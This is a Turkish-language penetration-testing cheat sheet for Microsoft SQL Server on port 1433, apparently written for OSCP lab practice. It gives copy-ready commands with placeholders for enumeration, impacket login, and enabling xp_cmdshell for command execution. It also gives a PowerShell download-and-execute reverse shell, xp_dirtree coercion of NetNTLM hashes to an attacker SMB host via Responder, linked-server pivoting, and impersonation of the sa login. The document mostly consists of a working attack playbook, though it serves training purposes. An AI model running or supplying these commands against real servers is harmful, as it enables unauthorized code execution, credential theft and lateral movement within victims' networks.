MSSQL (Microsoft SQL Server)
windows1433 MSSQL enumeration ve exploitation: impacket-mssqlclient (SQL/Windows auth), xp_cmdshell ile RCE, linked servers ile pivot, xp_dirtree ile NetNTLM hash calma.
Komutlar
nmap -p1433 -sV --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password {{RHOST}} -oN mssql_enum.txt netexec mssql {{RHOST}} -u {{USER}} -p {{PASS}} --local-auth impacket-mssqlclient {{USER}}:{{PASS}}@{{RHOST}} -windows-auth impacket-mssqlclient {{USER}}:{{PASS}}@{{RHOST}} impacket-mssqlclient {{DOMAIN}}/{{USER}}@{{RHOST}} -k -no-pass EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'; xp_cmdshell powershell -e {{URL}} EXEC master..xp_dirtree '\\{{LHOST}}\\share\\x', 1, 1; sudo responder -I {{INTERFACE}} EXEC sp_linkedservers; SELECT * FROM master..sysservers; EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami''') AT [LINKED-SQL]; EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin'); MSSQL (1433) Genel Bakis
Microsoft SQL Server, OSCP ortaminda hem foothold (xp_cmdshell ile RCE) hem privilege escalation (servis hesabinin SeImpersonate’i -> Potato) hem de lateral movement (linked servers, NetNTLM hirsizligi) saglayan cok yonlu bir hedeftir.
Enumeration
nmapNSE:ms-sql-info(instance/sürüm),ms-sql-ntlm-info(hostname/domain sizdirir),ms-sql-empty-password(bossaparolasi).netexec mssqlile kredensiyalleri dogrulayin; SQL-auth icin--local-auth, domain hesaplari icin bu bayragi cikarin.(Pwn3d!)cikti sysadmin’i gosterir.
Kimlik Dogrulama
- SQL auth:
impacket-mssqlclient {{USER}}:{{PASS}}@{{RHOST}}(orn.sa). - Windows auth: ayni komuta
-windows-authekleyin (AD hesabi). - Kerberos:
-k -no-passile mevcut ccache ticket.
xp_cmdshell ile RCE
Sysadmin iseniz sp_configure ile xp_cmdshell’i etkinlestirip OS komut calistirin. Komutlar SQL Server servis hesabi baglaminda calisir; bu hesap cogu zaman SeImpersonatePrivilege tasir — yani whoami /priv ile teyit edip Potato (PrintSpoofer/GodPotato) zinciriyle SYSTEM’e cikabilirsiniz. Reverse shell icin xp_cmdshell uzerinden base64 PowerShell veya IEX(New-Object Net.WebClient).DownloadString({{URL}}) calistirin.
NetNTLM Hash Calma (xp_dirtree)
Sysadmin olmasaniz bile (sadece public+yeterli izin), xp_dirtree/xp_subdirs/xp_fileexist ile MSSQL servis hesabini saldirgan SMB sunucunuza (\\{{LHOST}}\\share) baglatabilirsiniz. responder -I {{INTERFACE}} ile yakalanan NetNTLMv2 hash’i offline kirilabilir (hashcat -m 5600) veya relay edilebilir. Bu, MSSQL’den AD’ye gecmenin klasik yoludur.
Linked Servers (Pivot + Privesc)
sp_linkedservers/master..sysserversile baglanti zincirlerini listeleyin.RPC Outacik linked server’lardaEXEC (...) AT [SERVER]ile uzak sunucuda komut calistirip pivot yapin.- Linked server kredensiyali genelde yuksek yetkili (hatta sa) maplenmis olur — bu sayede dusuk yetkili bir login bile zincirin sonunda sysadmin’e ulasabilir.
Privilege Escalation (DB ici)
IMPERSONATE ANY LOGINveya belirli login impersonation hakki varsaEXECUTE AS LOGIN = 'sa'ile sysadmin’e yukselin (IS_SRVROLEMEMBER('sysadmin')ile teyit).TRUSTWORTHYON olan veritabanlari db_owner’dan sysadmin’e tirmanma firsati verir.
Loot / Notlar
- DB icerigi:
SELECT name FROM master.sys.databases;ile veritabanlarini, ardindan tablolari (kredensiyal/hash) tarayin. xp_cmdshellcalismazsasp_OACreate(OLE Automation) alternatif RCE yoludur.- Tüm bu adimlar OSCP-safe; sadece otomatik MSF exploitation kullanmaktan kacinin.